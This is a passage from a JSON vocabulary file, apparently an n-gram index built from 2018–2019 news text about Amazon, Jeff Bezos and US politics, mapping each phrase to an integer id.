75247,\n  \"know racism\": 75248,\n  \"125 microseconds\": 75249,\n  \"consumer pulling\": 75250,\n  \"schools steer\": 75251,\n  \"cortez new\": 75252,\n  \"business citi\": 75253,\n  \"cornell\": 75254,\n  \"embarrass trump\": 75255,\n  \"save shop\": 75256,\n  \"figures explore\": 75257,\n  \"firs balsam\": 75258,\n  \"disturbing stories\": 75259,\n  \"income consumers\": 75260,\n  \"act rfra\": 75261,\n  \"million plusthat\": 75262,\n  \"natt\": 75263,\n  \"cast\": 75264,\n  \"carnage\": 75265,\n  \"year election\": 75266,\n  \"medical marketplace\": 75267,\n  \"growing criticism\": 75268,\n  \"wrecks\": 75269,\n  \"phone messages\": 75270,\n  \"amazon blamed\": 75271,\n  \"gap 2018\": 75272,\n  \"nbcnews\": 75273,\n  \"000 local\": 75274,\n  \"reduce child\": 75275,\n  \"considering\": 75276,\n  \"signed big\": 75277,\n  \"sourceamazon kushner\": 75278,\n  \"flex work\": 75279,\n  \"democratic socialism\": 75280,\n  \"morath\": 75281,\n  \"bozo apparently\": 75282,\n  \"sells consumer\": 75283,\n  \"weeks prior\": 75284,\n  \"paid customers\": 75285,\n  \"separately mexico\": 75286,\n  \"space\": 75287,\n  \"year postal\": 75288,\n  \"pokes fun\": 75289,\n  \"purchase popular\": 75290,\n  \"discussing jedi\": 75291,\n  \"gunjan soni\": 75292,\n  \"year deal\": 75293,\n  \"finish deliveries\": 75294,\n  \"view archives\": 75295,\n  \"rare appearance\": 75296,\n  \"entrepreneurs deliver\": 75297,\n  \"gain congressional\": 75298,\n  \"2300 annually\": 75299,\n  \"secretary claims\": 75300,\n  \"film consumers\": 75301,\n  \"new tactic\": 75302,\n  \"alyssa mastromonaco\": 75303,\n  \"lantern thousands\": 75304,\n  \"amid growing\": 75305,\n  \"press fake\": 75306,\n  \"applaud amazon\": 75307,\n  \"site merchandiser\": 75308,\n  \"package things\": 75309,\n  \"hosts women\": 75310,\n  \"43539638\": 75311,\n  \"big overreaction\": 75312,\n  \"saari produced\": 75313,\n  \"stop tweeting\": 75314,\n  \"rate hikes\": 75315,\n  \"networking expert\": 75316,\n  \"reviews theater\": 75317,\n  \"kitchen sink\": 75318,\n  \"abusive users\": 75319,\n  \"meme satirical\": 75320,\n  \"story troop\": 75321,\n  \"consumers beguiled\": 75322,\n  \"elected representatives\": 75323,\n  \"digital healthcare\": 75324,\n  \"success story\": 75325,\n  \"fix story\": 75326,\n  \"assembling broad\": 75327,\n  \"integrator\": 75328,\n  \"amazon received\": 75329,\n  \"trump lawyers\": 75330,\n  \"steam reining\": 75331,\n  \"employers\": 75332,\n  \"living cells\": 75333,\n  \"violence minutes\": 75334,\n  \"1548et copyright\": 75335,\n  \"roofs weeks\": 75336,\n  \"post suddenly\": 75337,\n  \"stock california\": 75338,\n  \"national conference\": 75339,\n  \"ongoing campaign\": 75340,\n  \"assignment reporter\": 75341,\n  \"wondered hadn\": 75342,\n  \"congress sets\": 75343,\n  \"furloughed workers\": 75344,\n  \"better sources\": 75345,\n  \"letting trump\": 75346,\n  \"potential effects\": 75347,\n  \"aired ads\": 75348,\n  \"instilling\": 75349,\n  \"evangelical preacher\": 75350,\n  \"does live\": 75351,\n  \"instagram read\": 75352,\n  \"calibrated\": 75353,\n  \"guardian says\": 75354,\n  \"called statements\": 75355,\n  \"hoax watch\": 75356,\n  \"veteran journalist\": 75357,\n  \"shared projects\": 75358,\n  \"donatella apprehensions\": 75359,\n  \"carta\": 75360,\n  \"store easier\": 75361,\n  \"essentially preordains\": 75362,\n  \"norris weeks\": 75363,\n  \"picture trump\": 75364,\n  \"lasted questions\": 75365,\n  \"nz\": 75366,\n  \"fifa world\": 75367,\n  \"dishonest damage\": 75368,\n  \"street segment\": 75369,\n  \"silva nick\": 75370,\n  \"growing\": 75371,\n  \"fox sports\": 75372,\n  \"security stay\": 75373,\n  \"enable ice\": 75374,\n  \"house invited\": 75375,\n  \"credit trump\": 75376,\n  \"practices plaintiffs\": 75377,\n  \"space tourism\": 75378,\n  \"topical\": 75379,\n  \"help republicans\": 75380,\n  \"bets according\": 75381,\n  \"verify government\": 75382,\n  \"traffic stress\": 75383,\n  \"panel company\": 75384,\n  \"deere tractor\": 75385,\n  \"trip took\": 75386,\n  \"obama starts\": 75387,\n  \"travel agency\": 75388,\n  \"company support\": 75389,\n  \"influence consider\": 75390,\n  \"trotter\": 75391,\n  \"celebrate 100\": 75392,\n  \"shudder\": 75393,\n  \"added better\": 75394,\n  \"reportedly used\": 75395,\n  \"secret sexual\": 75396,\n  \"doesn level\": 75397,\n  \"helping smugglers\": 75398,\n  \"ink quidsi\": 75399,\n  \"bezos decision\": 75400,\n  \"wasn major\": 75401,\n  \"target conservative\": 75402,\n  \"mayukh sen\": 75403,\n  \"furious twitter\": 75404,\n  \"pablo martinez\": 75405,\n  \"giftee\": 75406,\n  \"deposit goodbye\": 75407,\n  \"different argument\": 75408,\n  \"entered trump\": 75409,\n  \"blocker\": 75410,\n  \"read latest\": 75411,\n  \"function p9x\": 75412,\n  \"precious stones\": 75413,\n  \"filler pencil\": 75414,\n  \"urging consumers\": 75415,\n  \"send billions\": 75416,\n  \"passes\": 75417,\n  \"migrants turn\": 75418,\n  \"automatically tracks\": 75419,\n  \"limits placed\": 75420,\n  \"stifle\": 75421,\n  \"profit john\": 75422,\n  \"congress passed\": 75423,\n  \"firefighters wary\": 75424,\n  \"patrick gaspard\": 75425,\n  \"african art\": 75426,\n  \"nearby women\": 75427,\n  \"question ofwhether\": 75428,\n  \"newman published\": 75429,\n  \"park senior\": 75430,\n  \"announcement did\": 75431,\n  \"rogowsky play\": 75432,\n  \"amazon docuseries\": 75433,\n  \"annoy\": 75434,\n  \"video maximizedbanner\": 75435,\n  \"charge lower\": 75436,\n  \"opted instead\": 75437,\n  \"proposed regulating\": 75438,\n  \"alongside existing\": 75439,\n  \"company employs\": 75440,\n  \"popular movement\": 75441,\n  \"want centrist\": 75442,\n  \"border mission\": 75443,\n  \"american pushed\": 75444,\n  \"fellow inventors\": 75445,\n  \"abney used\": 75446,\n  \"revelations took\": 75447,\n  \"griff\": 75448,\n  \"post don\": 75449,\n  \"basic clothing\": 75450,\n  \"built vast\": 75451,\n  \"senators say\": 75452,\n  \"faang firms\": 75453,\n  \"girlfriend lauren\": 75454,\n  \"sector update\": 75455,\n  \"sorted doses\": 75456,\n  \"sean spicer\": 75457,\n  \"inner paradigm\": 75458,\n  \"commie scum\": 75459,\n  \"street executives\": 75460,\n  \"op humpty\": 75461,\n  \"lame\\u0430joke\": 75462,\n  \"trump tendency\": 75463,\n  \"jobs taking\": 75464,\n  \"included charlie\": 75465,\n  \"slammed icann\": 75466,\n  \"eyebrows thanks\": 75467,\n  \"gras network\": 75468,\n  \"2016 election\": 75469,\n  \"plus walmart\": 75470,\n  \"unknown roads\": 75471,\n  \"zimbabwe\": 75472,\n  \"numberof jobs\": 75473,\n  \"included saucy\": 75474,\n  \"human fingernails\": 75475,\n  \"perspectives trump\": 75476,\n  \"share facebook\": 75477,\n  \"director jan\": 75478,\n  \"tech journalism\": 75479,\n  \"rathner thank\": 75480,\n  \"abuse investigation\": 75481,\n  \"gonzalez says\": 75482,\n  \"content sharing\": 75483,\n  \"high probability\": 75484,\n  \"ea\": 75485,\n  \"saying governor\": 75486,\n  \"stamp eligibility\": 75487,\n  \"teen fiction\": 75488,\n  \"packaging used\": 75489,\n  \"backyard\": 75490,\n  \"expected posting\": 75491,\n  \"deliberately\": 75492,\n  \"meyers joked\": 75493,\n  \"reports swa\": 75494,\n  \"brackett content\": 75495,\n  \"rick snyder\": 75496,\n  \"host andrea\": 75497,\n  \"housing administrator\": 75498,\n  \"whilst domestic\": 75499,\n  \"american homes\": 75500,\n  \"thriller fan\": 75501,\n  \"enclosure\": 75502,\n  \"farmers hurt\": 75503,\n  \"accenture q2\": 75504,\n  \"2020 reuters\": 75505,\n  \"chamber inboth\": 75506,\n  \"greatly contributing\": 75507,\n  \"limit trump\": 75508,\n  \"rings special\": 75509,\n  \"camden\": 75510,\n  \"compromising photos\": 75511,\n  \"lived thing\": 75512,\n  \"bakkt\": 75513,\n  \"marconi amherst\": 75514,\n  \"drops ivanka\": 75515,\n  \"extremist fell\": 75516,\n  \"divorced time\": 75517,\n  \"fund holds\": 75518,\n  \"lawmakers urge\": 75519,\n  \"tesla earnings\": 75520,\n  \"destroying main\": 75521,\n  \"crunching abilities\": 75522,\n  \"drew\": 75523,\n  \"national aeronautics\": 75524,\n  \"term issue\": 75525,\n  \"business videocollectionurl\": 75526,\n  \"outstanding news\": 75527,\n  \"trump tackling\": 75528,\n  \"manhandled\": 75529,\n  \"industry competitive\": 75530,\n  \"trump callout\": 75531,\n  \"crosstalk haverty\": 75532,\n  \"lebeau new\": 75533,\n  \"china losing\": 75534,\n  \"fair playing\": 75535,\n  \"wrongs\": 75536,\n  \"ching\": 75537,\n  \"adj\": 75538,\n  \"attractive obviously\": 75539,\n  \"exterior super\": 75540,\n  \"jobs combined\": 75541,\n  \"daca\": 75542,\n  \"riders anecdotally\": 75543,\n  \"respond quickly\": 75544,\n  \"editorial product\": 75545,\n  \"francisco begin\": 75546,\n  \"whirlwind romance\": 75547,\n  \"rustbelt hometown\": 75548,\n  \"documentary wiseman\": 75549,\n  \"spendingcompromise\": 75550,\n  \"mark lennihan\": 75551,\n  \"safeguards agreement\": 75552,\n  \"westmoreland neighborhood\": 75553,\n  \"removed special\": 75554,\n  \"ordered government\": 75555,\n  \"scholarly rigor\": 75556,\n  \"zhou\": 75557,\n  \"office story\": 75558,\n  \"trump crowed\": 75559,\n  \"year tab\": 75560,\n  \"libertarian\": 75561,\n  \"hearing titled\": 75562,\n  \"commissioners\": 75563,\n  \"taser torture\": 75564,\n  \"corporate campus\": 75565,\n  \"company control\": 75566,\n  \"hired researchers\": 75567,\n  \"amazon 562\": 75568,\n  \"self regulation\": 75569,\n  \"stop cooperating\": 75570,\n  \"critical tone\": 75571,\n  \"demand fields\": 75572,\n  \"cute emergency\": 75573,\n  \"1988 following\": 75574,\n  \"handling suleiman\": 75575,\n  \"000 killings\": 75576,\n  \"gifts\": 75577,\n  \"bully\": 75578,\n  \"stage drew\": 75579,\n  \"comment sent\": 75580,\n  \"maximizedbanner\": 75581,\n  \"harney alistair\": 75582,\n  \"reportedly dates\": 75583,\n  \"material finished\": 75584,\n  \"dented shares\": 75585,\n  \"shouldstartvideo\": 75586,\n  \"khan movies\": 75587,\n  \"state wapo\": 75588,\n  \"referring swetnick\": 75589,\n  \"lasers\": 75590,\n  \"arizona rally\": 75591,\n  \"taking financial\": 75592,\n  \"hard\": 75593,\n  \"bloomberg samsung\": 75594,\n  \"democracy source\": 75595,\n  \"uneven economic\": 75596,\n  \"reformed church\": 75597,\n  \"sun shirt\": 75598,\n  \"hardly changed\": 75599,\n  \"strategy shift\": 75600,\n  \"house floated\": 75601,\n  \"sequential declines\": 75602,\n  \"counterfeit olive\": 75603,\n  \"favale wmj\": 75604,\n  \"big lenders\": 75605,\n  \"prosecution\": 75606,\n  \"payment provider\": 75607,\n  \"reporting instruments\": 75608,\n  \"hotdog\": 75609,\n  \"jig\": 75610,\n  \"itunderscores\": 75611,\n  \"boies schiller\": 75612,\n  \"started trading\": 75613,\n  \"emeritus\": 75614,\n  \"taxes julia\": 75615,\n  \"counter claim\": 75616,\n  \"shirking tax\": 75617,\n  \"uproar sanders\": 75618,\n  \"patient cape\": 75619,\n  \"earlier threat\": 75620,\n  \"powell ouster\": 75621,\n  \"honorary chinese\": 75622,\n  \"league rights\": 75623,\n  \"given day\": 75624,\n  \"omero\": 75625,\n  \"bleak working\": 75626,\n  \"buying tiny\": 75627,\n  \"executive privately\": 75628,\n  \"275 employees\": 75629,\n  \"datecreated\": 75630,\n  \"customer dies\": 75631,\n  \"frost\": 75632,\n  \"best tire\": 75633,\n  \"total random\": 75634,\n  \"met previously\": 75635,\n  \"including rebounders\": 75636,\n  \"high kids\": 75637,\n  \"jobs hard\": 75638,\n  \"specifically addresses\": 75639,\n  \"couldn pass\": 75640,\n  \"considered\": 75641,\n  \"italys di\": 75642,\n  \"gang beams\": 75643,\n  \"american urban\": 75644,\n  \"durable goods\": 75645,\n  \"mass distraction\": 75646,\n  \"nederland\": 75647,\n  \"feel sting\": 75648,\n  \"nic winding\": 75649,\n  \"pursue policies\": 75650,\n  \"staple etf\": 75651,\n  \"high pitched\": 75652,\n  \"netanyahu sparks\": 75653,\n  \"toilet bottle\": 75654,\n  \"network graph\": 75655,\n  \"america teamed\": 75656,\n  \"adult children\": 75657,\n  \"new iphone\": 75658,\n  \"ago registered\": 75659,\n  \"called revolvers\": 75660,\n  \"judicial analyst\": 75661,\n  \"explicitly referred\": 75662,\n  \"executive dennis\": 75663,\n  \"tax question\": 75664,\n  \"3119\": 75665,\n  \"vestager addresses\": 75666,\n  \"shattered\": 75667,\n  \"seemingly driven\": 75668,\n  \"censorship section\": 75669,\n  \"new retail\": 75670,\n  \"surface level\": 75671,\n  \"1531685705\": 75672,\n  \"embattled\": 75673,\n  \"watch liverpool\": 75674,\n  \"betrayal\": 75675,\n  \"potential fleet\": 75676,\n  \"amid trump\": 75677,\n  \"insider spoke\": 75678,\n  \"designated ozs\": 75679,\n  \"router password\": 75680,\n  \"arabella beauty\": 75681,\n  \"amazon minutes\": 75682,\n  \"enables people\": 75683,\n  \"magnum pi\": 75684,\n  \"team contact\": 75685,\n  \"american homelessness\": 75686,\n  \"contract known\": 75687,\n  \"abramovich latest\": 75688,\n  \"staggeringly good\": 75689,\n  \"frmr wh\": 75690,\n  \"jewish supporters\": 75691,\n  \"benjamin harrison\": 75692,\n  \"reinvention\": 75693,\n  \"academic test\": 75694,\n  \"manager thomson\": 75695,\n  \"competitive especially\": 75696,\n  \"westervelt spent\": 75697,\n  \"individualist indebted\": 75698,\n  \"brimming\": 75699,\n  \"game places\": 75700,\n  \"case described\": 75701,\n  \"slaughters\": 75702,\n  \"systemic trends\": 75703,\n  \"charitable giving\": 75704,\n  \"legislative branches\": 75705,\n  \"mta marijuana\": 75706,\n  \"tighten lending\": 75707,\n  \"spinoff abc\": 75708,\n  \"witch elm\": 75709,\n  \"kate atkinson\": 75710,\n  \"amendment grounds\": 75711,\n  \"birthday knopf\": 75712,\n  \"mourning included\": 75713,\n  \"infrastructure building\": 75714,\n  \"389\": 75715,\n  \"opioid epidemic\": 75716,\n  \"talev\": 75717,\n  \"starbucks executive\": 75718,\n  \"bezos mistress\": 75719,\n  \"profile white\": 75720,\n  \"roads kingdom\": 75721,\n  \"unfairly exploits\": 75722,\n  \"powerful understanding\": 75723,\n  \"power profoundly\": 75724,\n  \"based nuclear\": 75725,\n  \"dorsey\": 75726,\n  \"club amazon\": 75727,\n  \"young ones\": 75728,\n  \"developer niantic\": 75729,\n  \"funded worker\": 75730,\n  \"bomb pop\": 75731,\n  \"h8 z8\": 75732,\n  \"horcher danielle\": 75733,\n  \"entrepreneurial outfit\": 75734,\n  \"kappa alpha\": 75735,\n  \"marks omitted\": 75736,\n  \"night congress\": 75737,\n  \"dc metropolitan\": 75738,\n  \"quotebyline\": 75739,\n  \"court picks\": 75740,\n  \"nather\": 75741,\n  \"caravan migrant\": 75742,\n  \"powerhouse shares\": 75743,\n  \"magazine original\": 75744,\n  \"jeffbezos 1547043466000\": 75745,\n  \"games ordered\": 75746,\n  \"european union\": 75747,\n  \"books code\": 75748,\n  \"phone network\": 75749,\n  \"weathered\": 75750,\n  \"particularly alphabet\": 75751,\n  \"transport service\": 75752,\n  \"leader alibaba\": 75753,\n  \"appropriate committee\": 75754,\n  \"reuters mnuchin\": 75755,\n  \"publix zing\": 75756,\n  \"year research\": 75757,\n  \"extra trusted\": 75758,\n  \"recode website\": 75759,\n  \"work work\": 75760,\n  \"2018 watch\": 75761,\n  \"whilst\": 75762,\n  \"cuckoo\": 75763,\n  \"sanders criticism\": 75764,\n  \"city low\": 75765,\n  \"vague complaints\": 75766,\n  \"plays tough\": 75767,\n  \"firm yoswein\": 75768,\n  \"goodthreads crew\": 75769,\n  \"newswire ai\": 75770,\n  \"romantic walks\": 75771,\n  \"governments depend\": 75772,\n  \"descriptiontext videocardcontents\": 75773,\n  \"retirement beckons\": 75774,\n  \"pursuing ventures\": 75775,\n  \"anti environment\": 75776,\n  \"documentation\": 75777,\n  \"enduring tightfistedness\": 75778,\n  \"national policies\": 75779,\n  \"nutting marketwatch\": 75780,\n  \"delivery financial\": 75781,\n  \"audiotape\": 75782,\n  \"100 department\": 75783,\n  \"summit withdrawal\": 75784,\n  \"ceo kyle\": 75785,\n  \"receive orders\": 75786,\n  \"donning custom\": 75787,\n  \"figure skaters\": 75788,\n  \"trump slammed\": 75789,\n  \"entire music\": 75790,\n  \"saw certain\": 75791,\n  \"refugees trying\": 75792,\n  \"13th place\": 75793,\n  \"sells grab\": 75794,\n  \"shot\": 75795,\n  \"amazon domestic\": 75796,\n  \"strong michael\": 75797,\n  \"approximately 600\": 75798,\n  \"man owner\": 75799,\n  \"inquirer publisher\": 75800,\n  \"del rey\": 75801,\n  \"produced comedy\": 75802,\n  \"habitats\": 75803,\n  \"trump conception\": 75804,\n  \"rl venezuela\": 75805,\n  \"captured approximately\": 75806,\n  \"organ harvested\": 75807,\n  \"wooing\": 75808,\n  \"eventful year\": 75809,\n  \"holdings curtis\": 75810,\n  \"week democrats\": 75811,\n  \"adventure mode\": 75812,\n  \"specific pain\": 75813,\n  \"brandus banks\": 75814,\n  \"important races\": 75815,\n  \"structure\": 75816,\n  \"guatemalan\": 75817,\n  \"carrying additional\": 75818,\n  \"renewed targeting\": 75819,\n  \"rise pirro\": 75820,\n  \"taxes highlighting\": 75821,\n  \"comprises berlin\": 75822,\n  \"farah\": 75823,\n  \"lascivious\": 75824,\n  \"home health\": 75825,\n  \"responded publicly\": 75826,\n  \"joins chorus\": 75827,\n  \"amd great\": 75828,\n  \"enter india\": 75829,\n  \"left activists\": 75830,\n  \"2019 looks\": 75831,\n  \"require exemptions\": 75832,\n  \"briefcase washington\": 75833,\n  \"suggests warming\": 75834,\n  \"growth accelerates\": 75835,\n  \"ouster caption\": 75836,\n  \"chhay student\": 75837,\n  \"previous year\": 75838,\n  \"modest pace\": 75839,\n  \"hud regulatory\": 75840,\n  \"dropped\": 75841,\n  \"uk session\": 75842,\n  \"aardvark\": 75843,\n  \"workers poor\": 75844,\n  \"acquisitions route\": 75845,\n  \"toolkit\": 75846,\n  \"hiring lina\": 75847,\n  \"american study\": 75848,\n  \"twcnnp\": 75849,\n  \"fascinating company\": 75850,\n  \"finalists including\": 75851,\n  \"apparel including\": 75852,\n  \"mile fulfillment\": 75853,\n  \"joining forces\": 75854,\n  \"right outlet\": 75855,\n  \"intelligent\": 75856,\n  \"926\": 75857,\n  \"free fall\": 75858,\n  \"approved disney\": 75859,\n  \"obama orders\": 75860,\n  \"news china\": 75861,\n  \"lightning connector\": 75862,\n  \"sas applications\": 75863,\n  \"notoriously insular\": 75864,\n  \"pop culture\": 75865,\n  \"program ends\": 75866,\n  \"businesses bought\": 75867,\n  \"new washers\": 75868,\n  \"falsely claims\": 75869,\n  \"prime delivers\": 75870,\n  \"decades making\": 75871,\n  \"energy consumption\": 75872,\n  \"start working\": 75873,\n  \"plans gone\": 75874,\n  \"don beyer\": 75875,\n  \"pakistan clash\": 75876,\n  \"protecting sensitive\": 75877,\n  \"evacuation florida\": 75878,\n  \"post joins\": 75879,\n  \"babis\": 75880,\n  \"allegedly abusing\": 75881,\n  \"profile divorce\": 75882,\n  \"including funding\": 75883,\n  \"preoccupations\": 75884,\n  \"devastate\": 75885,\n  \"matthew mickler\": 75886,\n  \"unclear exactly\": 75887,\n  \"project attempts\": 75888,\n  \"company missing\": 75889,\n  \"today attended\": 75890,\n  \"twitter rickjnewman\": 75891,\n  \"design editor\": 75892,\n  \"residential towers\": 75893,\n  \"echo toni\": 75894,\n  \"requested keoshkerian\": 75895,\n  \"twitter ombudsman\": 75896,\n  \"wrote art\": 75897,\n  \"chinese merchants\": 75898,\n  \"anfbi\": 75899,\n  \"paper folded\": 75900,\n  \"loathe cable\": 75901,\n  \"immelt mistakes\": 75902,\n  \"brings amazon\": 75903,\n  \"committee oversight\": 75904,\n  \"disruption 2018\": 75905,\n  \"really needs\": 75906,\n  \"american idiot\": 75907,\n  \"total compensation\": 75908,\n  \"devotee tucker\": 75909,\n  \"allow government\": 75910,\n  \"huge change\": 75911,\n  \"booker\": 75912,\n  \"adrienne arsht\": 75913,\n  \"critical medical\": 75914,\n  \"mattis resigned\": 75915,\n  \"1500 month\": 75916,\n  \"freking\": 75917,\n  \"kettle black\": 75918,\n  \"amazon frederick\": 75919,\n  \"declined giving\": 75920,\n  \"approve legislation\": 75921,\n  \"subsidizing workforce\": 75922,\n  \"nick reported\": 75923,\n  \"bst\": 75924,\n  \"host joe\": 75925,\n  \"rarefied\": 75926,\n  \"operated enterprises\": 75927,\n  \"patty lissa\": 75928,\n  \"causing troubles\": 75929,\n  \"android phone\": 75930,\n  \"headliner\": 75931,\n  \"jr says\": 75932,\n  \"stalin napoleon\": 75933,\n  \"pursuing anti\": 75934,\n  \"american households\": 75935,\n  \"congress civil\": 75936,\n  \"joel rubin\": 75937,\n  \"handbags online\": 75938,\n  \"riverdale spark\": 75939,\n  \"emboldened judges\": 75940,\n  \"party aim\": 75941,\n  \"internet purchases\": 75942,\n  \"times day\": 75943,\n  \"quarter lobbying\": 75944,\n  \"election claimed\": 75945,\n  \"melania trump\": 75946,\n  \"trump assert\": 75947,\n  \"ana winds\": 75948,\n  \"urban probably\": 75949,\n  \"313 100\": 75950,\n  \"republicans lost\": 75951,\n  \"controversial titles\": 75952,\n  \"prolonged trade\": 75953,\n  \"questions remain\": 75954,\n  \"dated nov\": 75955,\n  \"bozotheclown bezostheclown\": 75956,\n  \"planes airbus\": 75957,\n  \"employee raising\": 75958,\n  \"hader stars\": 75959,\n  \"joseph simons\": 75960,\n  \"announced new\": 75961,\n  \"tanks\": 75962,\n  \"anymore reback\": 75963,\n  \"sales fizzled\": 75964,\n  \"battle following\": 75965,\n  \"chinese operations\": 75966,\n  \"drop pct\": 75967,\n  \"giant hitting\": 75968,\n  \"wolf\": 75969,\n  \"uco stormproof\": 75970,\n  \"maduro\": 75971,\n  \"fleecy\": 75972,\n  \"eve hewson\": 75973,\n  \"projects efforts\": 75974,\n  \"amazon read\": 75975,\n  \"tweeting according\": 75976,\n  \"series following\": 75977,\n  \"opportunity affirmative\": 75978,\n  \"identify\": 75979,\n  \"areas near\": 75980,\n  \"drama book\": 75981,\n  \"story continued\": 75982,\n  \"concessions\": 75983,\n  \"far dispatched\": 75984,\n  \"company achieved\": 75985,\n  \"yesterday claimed\": 75986,\n  \"scarborough answered\": 75987,\n  \"sure pants\": 75988,\n  \"series led\": 75989,\n  \"certain hashtags\": 75990,\n  \"resurfaced\": 75991,\n  \"free supply\": 75992,\n  \"interviewing seriously\": 75993,\n  \"transit\": 75994,\n  \"eponymous\": 75995,\n  \"interesting headlines\": 75996,\n  \"initial approaches\": 75997,\n  \"gains greater\": 75998,\n  \"gorbachev\": 75999,\n  \"politically astute\": 76000,\n  \"twitter exchange\": 76001,\n  \"implications yesterday\": 76002,\n  \"blasts asian\": 76003,\n  \"people voice\": 76004,\n  \"related deaths\": 76005,\n  \"incorrectly claiming\": 76006,\n  \"mona\": 76007,\n  \"left rupert\": 76008,\n  \"globe following\": 76009,\n  \"following statement\": 76010,\n  \"meddling investigation\": 76011,\n  \"state smartphones\": 76012,\n  \"tsai ing\": 76013,\n  \"weapons\": 76014,\n  \"veracity trump\": 76015,\n  \"ami ferocious\": 76016,\n  \"cbs documentary\": 76017,\n  \"open borders\": 76018,\n  \"amazon traditions\": 76019,\n  \"pay extortionate\": 76020,\n  \"based learning\": 76021,\n  \"smorodin\": 76022,\n  \"joint employer\": 76023,\n  \"monitoring\": 76024,\n  \"obama speech\": 76025,\n  \"ur chronicler\": 76026,\n  \"evan notes\": 76027,\n  \"98point6 technology\": 76028,\n  \"operations designed\": 76029,\n  \"postal golden\": 76030,\n  \"private platforms\": 76031,\n  \"facebook profile\": 76032,\n  \"coaster day\": 76033,\n  \"amazon zone\": 76034,\n  \"john mcdonnell\": 76035,\n  \"feed think\": 76036,\n  \"read enjoyed\": 76037,\n  \"write blog\": 76038,\n  \"trims relate\": 76039,\n  \"clearly aimed\": 76040,\n  \"essay published\": 76041,\n  \"firm bezos\": 76042,\n  \"leaders angry\": 76043,\n  \"transport costs\": 76044,\n  \"stores axios\": 76045,\n  \"picks 2018\": 76046,\n  \"teenage satanists\": 76047,\n  \"devonlive\": 76048,\n  \"unites gop\": 76049,\n  \"american choice\": 76050,\n  \"told prosecutors\": 76051,\n  \"handles utility\": 76052,\n  \"live say\": 76053,\n  \"blanched\": 76054,\n  \"graphic photos\": 76055,\n  \"dispassionate observer\": 76056,\n  \"sasha baron\": 76057,\n  \"aid called\": 76058,\n  \"chaos wells\": 76059,\n  \"president gawande\": 76060,\n  \"pledge analysts\": 76061,\n  \"role americanized\": 76062,\n  \"registration form\": 76063,\n  \"adam laxalt\": 76064,\n  \"post assigned\": 76065,\n  \"road crash\": 76066,\n  \"respective socialist\": 76067,\n  \"disclosure requirements\": 76068,\n  \"justify new\": 76069,\n  \"federal officers\": 76070,\n  \"fix healthcare\": 76071,\n  \"oliver darcy\": 76072,\n  \"manageable cord\": 76073,\n  \"right finishing\": 76074,\n  \"corrupt member\": 76075,\n  \"industry power\": 76076,\n  \"education spending\": 76077,\n  \"return amazon\": 76078,\n  \"organizations representing\": 76079,\n  \"masterclass\": 76080,\n  \"quick points\": 76081,\n  \"foto man\": 76082,\n  \"new partnerships\": 76083,\n  \"summary judgment\": 76084,\n  \"brooklyn 131\": 76085,\n  \"notes stein\": 76086,\n  \"church road\": 76087,\n  \"feelings\": 76088,\n  \"service isn\": 76089,\n  \"wage hikes\": 76090,\n  \"crisscrossing\": 76091,\n  \"corporate taxes\": 76092,\n  \"officials refer\": 76093,\n  \"britain given\": 76094,\n  \"mourning observance\": 76095,\n  \"surveillance images\": 76096,\n  \"amazon celebrated\": 76097,\n  \"pubgmxaw\": 76098,\n  \"ultimately serve\": 76099,\n  \"dream stock\": 76100,\n  \"crimes report\": 76101,\n  \"delivers everyday\": 76102,\n  \"plan severe\": 76103,\n  \"game director\": 76104,\n  \"bern university\": 76105,\n  \"asking range\": 76106,\n  \"tech maybe\": 76107,\n  \"treasury yield\": 76108,\n  \"selected\": 76109,\n  \"dent great\": 76110,\n  \"summit happy\": 76111,\n  \"concept far\": 76112,\n  \"born\": 76113,\n  \"nights\": 76114,\n  \"right politician\": 76115,\n  \"russ\": 76116,\n  \"price performance\": 76117,\n  \"aws revenue\": 76118,\n  \"hardcore\": 76119,\n  \"big ratings\": 76120,\n  \"financial questions\": 76121,\n  \"baby food\": 76122,\n  \"notes wall\": 76123,\n  \"photos includes\": 76124,\n  \"api integration\": 76125,\n  \"talks grows\": 76126,\n  \"popular diet\": 76127,\n  \"directs just\": 76128,\n  \"set rate\": 76129,\n  \"pike\": 76130,\n  \"thelegislative\": 76131,\n  \"babcock lumish\": 76132,\n  \"321 exemption\": 76133,\n  \"hospital bombing\": 76134,\n  \"practice generally\": 76135,\n  \"diamond\": 76136,\n  \"america violence\": 76137,\n  \"wired apple\": 76138,\n  \"rivalries\": 76139,\n  \"investors looking\": 76140,\n  \"morning new\": 76141,\n  \"knighthood\": 76142,\n  \"team says\": 76143,\n  \"antarctica solo\": 76144,\n  \"research reports\": 76145,\n  \"stock fdx\": 76146,\n  \"build amazon\": 76147,\n  \"abandoned plans\": 76148,\n  \"market benchmarks\": 76149,\n  \"home baked\": 76150,\n  \"dubbed\": 76151,\n  \"shop talk\": 76152,\n  \"nature micronutrient\": 76153,\n  \"perfectly acceptable\": 76154,\n  \"tv propaganda\": 76155,\n  \"ice respectively\": 76156,\n  \"continue suntrust\": 76157,\n  \"marketplace hasn\": 76158,\n  \"lower earning\": 76159,\n  \"plans tobuild\": 76160,\n  \"spicer family\": 76161,\n  \"entire customer\": 76162,\n  \"chinese perfidy\": 76163,\n  \"jayme\": 76164,\n  \"vegetarian cookbook\": 76165,\n  \"plan trump\": 76166,\n  \"football association\": 76167,\n  \"final step\": 76168,\n  \"personal freedom\": 76169,\n  \"trump including\": 76170,\n  \"trump fixer\": 76171,\n  \"revival fueled\": 76172,\n  \"manipulate political\": 76173,\n  \"missions\": 76174,\n  \"us269\": 76175,\n  \"mexico paying\": 76176,\n  \"brian peters\": 76177,\n  \"2018 remember\": 76178,\n  \"bottle amazon\": 76179,\n  \"wedding guest\": 76180,\n  \"biases large\": 76181,\n  \"golf properties\": 76182,\n  \"china kate\": 76183,\n  \"haverty managing\": 76184,\n  \"corcoran\": 76185,\n  \"chelsea townsend\": 76186,\n  \"tyranny fake\": 76187,\n  \"fires dozens\": 76188,\n  \"angerer critics\": 76189,\n  \"deforestation prevention\": 76190,\n  \"purchase possibly\": 76191,\n  \"amazon constantly\": 76192,\n  \"model dividend\": 76193,\n  \"john harwood\": 76194,\n  \"price spike\": 76195,\n  \"really dangerous\": 76196,\n  \"reminds\": 76197,\n  \"john kelly\": 76198,\n  \"mcld\": 76199,\n  \"okaaaay\": 76200,\n  \"doubled si\": 76201,\n  \"messy divorce\": 76202,\n  \"trs0\": 76203,\n  \"walmart treatment\": 76204,\n  \"furniture technology\": 76205,\n  \"pinzon\": 76206,\n  \"nadella told\": 76207,\n  \"sales direct\": 76208,\n  \"semiconductor names\": 76209,\n  \"wanted newly\": 76210,\n  \"discrimination committed\": 76211,\n  \"global political\": 76212,\n  \"distribution universe\": 76213,\n  \"relatively easy\": 76214,\n  \"stock surges\": 76215,\n  